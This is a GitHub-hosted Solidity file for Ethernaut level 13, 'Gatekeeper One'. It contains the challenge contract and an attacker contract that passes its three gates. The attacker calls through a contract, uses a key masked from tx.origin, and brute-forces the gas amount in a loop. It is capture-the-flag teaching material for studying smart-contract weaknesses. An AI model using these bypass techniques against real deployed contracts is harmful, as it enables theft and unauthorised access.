-
Notifications
You must be signed in to change notification settings - Fork 5
/
Level_13_Gatekeeper_One.sol
56 lines (43 loc) · 1.6 KB
/
Level_13_Gatekeeper_One.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract AreYouTheKeymaster{
using SafeMath for uint256;
bytes8 txOrigin16 = 0x0123456789abcdef; //last 16 digits of your account
bytes8 key = txOrigin16 & 0xFFFFFFFF0000FFFF;
GatekeeperOne public gkpOne;
function setGatekeeperOne(address _addr) public{
gkpOne = GatekeeperOne(_addr);
}
function letMeIn() public{
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(gkpOne).call{gas:
i + 150 + 8191*3}(abi.encodeWithSignature("enter(bytes8)", key)); // thanks to Spalladino https://github.com/OpenZeppelin/ethernaut/blob/solidity-05/contracts/attacks/GatekeeperOneAttack.sol
if(result)
{
break;
}
}
}
}